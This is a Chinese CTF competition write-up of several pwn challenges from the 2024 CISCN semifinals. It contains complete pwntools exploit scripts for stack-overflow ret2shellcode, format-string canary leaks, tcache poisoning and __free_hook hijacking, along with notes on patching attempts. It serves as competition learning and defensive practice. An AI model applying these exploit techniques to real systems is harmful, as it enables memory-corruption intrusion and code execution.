2024华东北分区赛-pwn复现
第一次打国赛,也是第一次打awdp(非正规)。赛后平台、题目都是非预期。竟然可以用fix来break,算是长见识了。这次比赛更多的是积累经验了。
8web 2pwn。两道题都通了,可是都没fix成功。
9.23访问平台地址,9.30靶机开始访问
pwn-1
这题蛮可惜的,漏洞就是栈溢出+格式化字符串,花了40多分钟打通。一开始看到题目先想着fix了,没有先break。结果patch了6次都没过,到了10.45放弃fix这题,开始break。到13轮出了,最终吃了3w多分。当时应该先break再fix的,能多吃五六轮分,大概还能拿七八千分。
break
(
格式化字符串泄露栈地址以及canary,由于没开NX,栈上写shellcode,打ret2shellcode
shellcode写orw,open用openat代替
写shellcode的时候read从文件描述符3里面读了,导致本地成功泄露flag,远程没成功泄露,又花了好多时间排除shellcode的问题,最后从rax里面读,大概花了十分钟,又是一轮分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import * from tw11ty import *
def menu1(payload): sla(b'2: get name\n' , str(1)) sla(b'->set name\n', payload)
def menu2(): sla(b'2: get name\n' , str(2))
def getflag(): sla(b'2: get name\n' , str(-1))
if __name__ == '__main__' : context.log_level = 'info' IPort = '192.73.1.182 80' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.34-0ubuntu3_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile)
io = init(pwnfile, IPort, libc_name)
payload = b'%17$p--%18$p' menu1(payload) menu2() ru(b'0x') canary = int(r(16), 16) ru(b'0x') ori = int(r(12), 16)
shellcode = asm(''' mov r14, 0x67616c66 push r14 mov rsi, rsp mov rdi, -100 mov edx, 0 mov rax, 257 syscall mov rsi, rsp mov rdi, rax mov rdx, 0xff xor rax, rax syscall
mov rsi, rsp mov rdi, 1 mov rax, 1 syscall ''')
payload = shellcode.ljust(0x48, b'\x00') + p64(canary) + p64(0x0) + p64(ori-0x60)
menu1(payload) getflag()
leak("canary", canary) leak("ori", ori) itr()
|
fix
在10.45之前fix了6次,一直没成功,栈溢出改字节为0x48或者0x28
改printf为puts、添加“%s”,改printf调用前的跳转,都尝试过了,都没过check。尤其是改跳转,自己都不知道还能怎么打了,一直没check过。不排除对文件字节大小的check
patch脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from AwdPwnPatcher import *
binary = "./pwn" awd_pwn_patcher = AwdPwnPatcher(binary) fmt_offset = awd_pwn_patcher.add_constant_in_ehframe("%s\x00\x00") assembly = """ lea rax, [rbp-0x50] mov rsi, rax lea rdi, qword ptr [{}] """.format(hex(fmt_offset)) awd_pwn_patcher.patch_by_jmp(0x14AB, jmp_to=0x14B7, assembly=assembly) assembly = ''' mov edx, 0x48 ''' awd_pwn_patcher.patch_origin(0x0147D, end=0x01482, assembly=assembly)
awd_pwn_patcher.save()
|
这样一直patch不过,看了Ahisec的wp,原来直接改栈权限就行了吗……吃了没经验的亏了
rwx改成rw就行了,7->6即可。
主要是光改这个也能绕过啊……打ROPgadget等等,格式化字符串和溢出都没改,还是能打的。这就是不给libc的正确解法吗……
实在不懂怎么check的。改了溢出、加了“%s”,我认为就算是没有开NX也打不了的,结果过不了check……
pwn-2
静态 高版本编译
之前没有遇到过导入符号表还原符号的方法,比赛的时候边逆边调,碰巧题目不是特别难,硬是调出来了,程序都没逆完。可惜一直在弄pwn-1的patch,这题在14.40多break,最后只吃了6k多分
break
逆向
逆的时候感觉chkflag很奇怪,里面貌似是使用了open读取flag
调一调发现读取flag到了堆上
然后利用getflag的任意地址读能读到id地址为0x4efaf0上的flag
中间多加一步addflag来泄露堆地址,通过计算得到addflag得到的第一块chunk地址始终与flag的偏移为876
最后直接泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from tw11ty import *
def menu(num): sla(b'6: check flag\n',str(num)) def add(): menu(2)
def getflag(info): menu(5) sla(b':\n', str(info))
def openflag(): menu(6)
if __name__ == '__main__' : IPort = '192.73.1.80 80' pwnfile = './heap' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile)
io = init(pwnfile, IPort, libc_name)
add() ru(b':') ori = int(r(8), 10) openflag() getflag(ori + 876)
print("ori = " + str(ori)) itr()
|
fix
漏洞太多不知道修什么了……好像还是人工测,太慢了
尝试了个将flag改为flaa,check过不了。原来不止看能不读到flag吗
最后是没patch成功。太菜了。。。
Real返璞归真这位师傅是nop掉了后门函数
Ahisec是改了chkflag里面的参数
自己还是太菜了。。。
复现
当时没逆完的现在补补吧。
恢复符号表
先尝试恢复静态编译去符号的库函数名,题目的编译环境为22,估计靶机环境是2.34以上。
IDA_flair直接导入对应的sig文件,对应sig文件push0ebp/sig-database: IDA FLIRT Signature Database (github.com)下载,里面最glibc最高为2.35,如果是再高点就需需要自己生成了。
导入成功
函数分析
lsflag遍历一遍chunk
addflag函数,从预分配的0x191大小的chunk中,分割出了12字节,前四字节写入size8,后8字节为data
qword_4E82F0里面保存着chunk的初始地址
editflag函数
往v4地址里面写入v5,任意地址写
delflag函数
将data域置空
getflag函数
输出v8地址内的数据,v8可控,任意地址读
chkflag函数
读取flag前8字节取出,同时也会在堆上保存flag–>非预期存在原因
接下来的sub_401D0F将取出来的8字节flag保存在0x4E60F0处
sub_401C51,将flag保存在了堆上
然后是四次的循环加密
过了这段chk后会打印flag
先申请出四块chunk用于存放加密后的flag,然后执行chkflag,将flag写入到0x4E60F0内,这时使用getflag取出0x4E60F0中加密过后的flag。再循环四次使用editflag往四块chunk中写入四段循环加密的flag,最后执行chkflag就能成功的过check,输出flag。
一个去了符号表的逻辑漏洞……洞有点多,check的点也是奇奇又怪怪。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * from tw11ty import *
def menu(num): sla(b'6: check flag\n',str(num)) def addflag(): menu(2) def editflag(target, value): menu(3) sl(str(target) + str(' ') + str(value)) def getflag(info): menu(5) sla(b':\n', str(info)) def chkflag(): menu(6)
if __name__ == '__main__' : context.log_level = 'info' IPort = '192.73.1.80 80' pwnfile = './heap' libc_name = '/ctf/work/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile)
io = init(pwnfile, IPort, libc_name)
addflag() ru(b':') ori = int(r(8), 10) addflag() addflag() addflag() chkflag()
getflag(0x4e60f0) ru(b'::') magic = int(r(19), 10)
for i in range(4): editflag(int(ori + 12*i), int(magic)) magic = (0x5851F42D4C957F2D * magic + 12345) & 0x7FFFFFFFFFFFFFFF
chkflag()
print("ori = " + str(ori)) leak("magic", magic) itr()
|
总结
第一次国赛就这样过了,经验还是太少了,没想到pwn1改栈权限就行了。。。再接再厉吧。
awd类型的比赛以攻为主,防御为辅,毕竟都是刷ctf出来的,肯定是漏洞利用熟悉一点,再怎么样也会比瞎捣鼓patch好点。
链接参考:
https://blog.csdn.net/weixin_45906533/article/details/139937288
2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解 - 知乎 (zhihu.com)
华南
一道堆题
my_heap
Ubuntu GLIBC 2.35-0ubuntu3.7
add:输入1能申请任意大小chunk,更新buf指向申请的chunk;非1只能malloc(0x4f0),不更新buf
dele:uaf
show:打印buf->data 7字节,并且进行异或加密
edit:往buf里写8字节数据
getbackdoor:拿到程序基地址以及一次0x20字节写
tcache机制 libc-2.26引入 Ubuntu-17.04以后
tcache_perthread_struct中存储着各个tcachebin结构体的counts以及bin表头,tcache_entry->next
2.26下tcache不会检查链表完整性,double free
2.29增加了对size位的chk,需要进行size对齐 增加了链表遍历直接free两次失效,并且counts不能向下溢出
2.34+增加了PROTECT_PTR(pos, ptr)宏定义来将 ptr_addr>>12与ptr进行异或加密
tc free时会对e->key进行赋值,用于检测double free,将key破坏掉就能绕过double的chk
2.34+ 删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive 没有了malloc_hook等
getshell方法有:1.栈;2.vtable;3.tls_dtor_list挟持__exit_funcs链表(exit()分析与利用-安全客 - 安全资讯平台 (anquanke.com))
攻击思路:
- 利用uaf泄露出libc_base和heap_base
- 利用getbackdoor来拿程序基地址,以及改写tcachebin_key,实现tcachebin doublefree,但是由于我们每次只能控制buf指向的chunk,所以无法得到两个以上的相同大小的tc来进行tb attack。需要先控制了tcache_perthread_struct结构体中的counts数组,对bin数目进行控制。由于我们只能写8字节,所以挟持到tcache_perthread_struct+0x10后可控0x20~0x50(8/2)。然后修改1<counts<7(目的是防止后面的chunk free时被放入到fb中)
- 后面就是两次tcachebin attack:利用泄露出来的程序基地址来打buf,此时buf->buf,然后利用edit修改buf,此时将buf修改为了edit函数的返回地址,然后再利用edit函数修改返回地址为backdoor+8 或者 one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| from pwn import * from tw11ty import *
def menu(num): sla(b'magic heap has 4 choice : \nadd\ndelete\nshow\nedit\n',str(num)) def add(idx=1, size=1): menu(1) sla(b'which one you choose?\n', str(idx)) if idx != 5: sla(b'size:',str(size)) def dele(): menu(2) def edit(content=b'aaaa'): menu(4) sa(b'edit data:', content) def show(): menu(3) ru(b'the data:') enc = r(7) dec = [0]*7 j = 0 for i in enc: dec[j] = i ^ (j+153) j += 1 return uu64(bytes(dec)) def getBackdoor(): menu(5)
if __name__ == '__main__' : IPort = '1 1' pwnfile = './my_heap' libc_name = '/ctf/work/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name) add(1, 0x418) add(5) dele() libc_base = show() - 0x21ace0 add(1, 0x88) dele() heap_addr = show() heap_base = heap_addr << 12 getBackdoor() ru(b'0x') ori = int(r(12), 16) buf = ori - 0x12be + 0x04040 ru(b'edit data:') s(p64(0)+p64(0xdeadbeef)) dele() edit(p64(heap_base >>12 ^(heap_base + 0x10))) add(1, 0x88) add(1, 0x88) dele() edit(p64(0)) add(1, 0x38) dele() add(1, 0x48) dele() add(1, 0x288) dele() edit(b'\x03\x03\x05\x00\x05\x00\x05\x00')
add(1, 0x38) dele() edit(p64((heap_base>>12)^(libc.sym['environ'] + libc_base))) add(1, 0x38) add(1, 0x38) stack_addr = show() ret_addr = stack_addr - 0x140
add(1, 0x48) dele() edit(p64((heap_base>>12) ^ (buf))) add(1, 0x48) add(1, 0x48)
edit(p64(ret_addr)) edit(p64(ori+8)) leak("libc_base", libc_base) leak("heap_base", heap_base) leak("stack_addr", stack_addr) leak("ret_addr", ret_addr) leak("backdoor_addr", ori) leak("buf", buf)
itr()
|
fix的话把uaf给patch掉,backdoor nop掉
华中
pwn1-note
2.31-0ubuntu9.9
add:size小于0xFFF
dele:uaf
edit、show正常
利用largechunk泄露libc,然后利用uaf改tcache链表为__free_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * from tw11ty import *
def menu(num): sla(b'5. exit\n',str(num)) def add(size, content=b'aaaa'): menu(1) sla(b'The size of your content: \n',str(size)) sla(b'content: \n', content) def dele(idx): menu(3) sla(b'index: \n', str(idx)) def edit(idx, size, content=b'aaaa'): menu(2) sla(b'index: \n', str(idx)) sla(b'The size of your content: \n', str(size)) sa(b'Content: \n', content) def show(idx): menu(4) sla(b'index: \n', str(idx))
if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28278' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name) add(0x418) add(0x18) dele(0) show(0) libc_base = uu64(r64()) - 0x1ecbe0 add(0x28) add(0x28) dele(3) dele(2) edit(2, 0x8, p64(libc_base + libc.sym['__free_hook'])) add(0x28, b'/bin/sh\x00') add(0x28) edit(5, 0x8, p64(libc_base+libc.sym['system'])) dele(4)
leak("libc_base", libc_base) itr()
|